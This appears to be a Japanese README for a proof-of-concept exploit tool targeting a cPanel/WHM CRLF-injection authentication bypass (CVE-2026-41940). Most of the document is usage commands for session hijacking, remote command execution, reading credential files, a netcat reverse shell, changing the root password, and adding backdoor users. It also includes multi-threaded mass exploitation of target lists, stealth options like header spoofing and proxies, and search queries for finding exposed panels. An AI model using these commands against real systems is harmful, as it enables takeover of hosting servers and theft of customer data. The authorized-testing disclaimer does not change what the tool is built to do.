
CVE-2026-41940 の PoC エクスプロイト。CRLF インジェクションによる cPanel/WHM 認証バイパスを標的とする。セッションハイジャック、RCE、リバースシェル、大量スキャン、および認可されたペネトレーションテスト向けの対話型シェルをサポート。

cPanel & WHM エディション - CRLFインジェクションによる認証バイパスと完全なセッションハイジャック
このエクスプロイトは、cPanel/WHM における重大な認証バイパス脆弱性である CVE-2026-41940 を悪用します。セッション管理システムに細工されたCRLFペイロードを注入することで、有効な認証情報を一切使用せずにセッションハイジャック、rootアクセス、およびホスティングパネルの完全な制御を実現します。
| カテゴリ | 機能 |
|---|---|
| エクスプロイト | [+] CRLFインジェクションによる認証バイパス [+] WHMセッションハイジャック [+] セキュリティトークンの漏洩 [+] 即時rootアクセス |
| ポストエクスプロイト | [+] アカウントリスト抽出 (ユーザー + ドメイン) [+] リモートコマンド実行 (RCE) [+] リバースシェル (netcat互換) [+] ファイル読み取り (設定、ログなど) [+] rootパスワード変更 [+] 新規cPanelユーザー作成 |
| スキャン | [+] 単一ターゲットエクスプロイト [+] マルチターゲット一括スキャン [+] マルチスレッディング (スレッド数設定可能) [+] ポートオーバーライド対応 |
| ステルス | [+] リクエスト間のランダム遅延 [+] X-Forwarded-For スプーフィング [+] カスタムUser-Agent対応 [+] プロキシ対応 (HTTP/HTTPS) |
| ユーザビリティ | [+] インタラクティブWHMシェル (-i)[+] カラー出力 (colorama) [+] 詳細/デバッグモード [+] アカウントリストのファイル出力 [+] Keep-Aliveセッションスレッド [+] 不安定な接続のためのリトライ機構 |
| 製品 | バージョン | ステータス |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] 確認済み |
| cPanel & WHM | 11.104 - 11.110 | [+] 確認済み |
| cPanel & WHM | 11.118 - 11.136 | [!] 限定的 |
| cPanel & WHM | < 11.86 | [+] 脆弱性の可能性あり |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
免責事項: このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。不正アクセスは違法です。
# リポジトリをクローン
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# 依存関係をインストール
pip3 install -r requirements.txt
# 実行
python3 exploit.py -t https://example.com:2087
# 基本的なエクスプロイト (アカウント抽出)
python3 exploit.py -t https://192.168.1.100:2087
# アカウントをファイルに保存
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# 詳細モード (デバッグ出力)
python3 exploit.py -t https://192.168.1.100:2087 -v
# インタラクティブWHMシェル (推奨)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # すべてのcPanelアカウントを一覧表示
[email protected] $ version # cPanelバージョンを表示
[email protected] $ ls /home # ディレクトリを一覧表示
[email protected] $ cat /etc/passwd # ファイルを読み取り
[email protected] $ exec id # コマンドを実行
[email protected] $ passwd NewPass123 # rootパスワードを変更
[email protected] $ adduser test test.com pass123 # 新規ユーザーを作成
[email protected] $ exit # シェルを終了
## リモートコマンド実行
```bash
# 単一コマンドを実行
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# ファイルを読み取り
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# 攻撃者マシン (リスナー)
nc -lvnp 4444
# エクスプロイト (リバースシェル)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# rootパスワードを変更
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# 新規cPanelユーザーを作成
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-aliveセッション (アクセスを維持)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # 自動keep-aliveを無効化
# ターゲットファイルを作成
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# 20スレッドで一括エクスプロイト
python3 exploit.py -l targets.txt --threads 20
# コマンド実行付き一括エクスプロイト
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# カスタムポート (非標準)
python3 exploit.py -t https://example.com -p 8443
# プロキシを使用
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# ステルス用カスタムuser-agent
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# カスタム遅延とリトライ
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL検証 (デフォルトでは自己署名証明書を無視)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| 短縮 | ロング | 説明 | デフォルト |
|---|---|---|---|
-t | --target | 単一ターゲットURL | 必須 (単一) |
-l | --target-file | ターゲットリストを含むファイル | 必須 (一括) |
-p | --port | ポートをオーバーライド | 自動検出 |
-o | --output | アカウントリストをファイルに保存 | なし |
-v | --verbose | デバッグ出力を有効化 | False |
-i | --interactive | インタラクティブWHMシェル | False |
--proxy | HTTP/HTTPSプロキシ | なし | |
-ua | --user-agent | カスタムUser-Agent | ランダム |
--cmd | 単一コマンドを実行 | なし | |
--reverse-shell | リバースシェル IP:PORT | なし | |
--passwd | rootパスワードを変更 | なし | |
--adduser | 新規ユーザーを作成 (USER DOMAIN PASS) | なし | |
--read | ターゲットからファイルを読み取り | なし | |
--threads | 一括スキャンのスレッド数 | 10 | |
--delay | Keep-alive間隔 (秒) | 3.0 | |
--max-retries | リクエストごとの最大リトライ回数 | 3 | |
--no-keep-alive | セッションを維持しない | False | |
--ssl-verify | SSL証明書を検証 | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
他のエクスプロイトリポジトリもご覧ください:
このツールキットは、許可されたセキュリティテスト、レッドチームエンゲージメント、および防御的研究のみを目的として提供されています。このソフトウェアを使用することにより、以下の条件に同意したものとみなされます: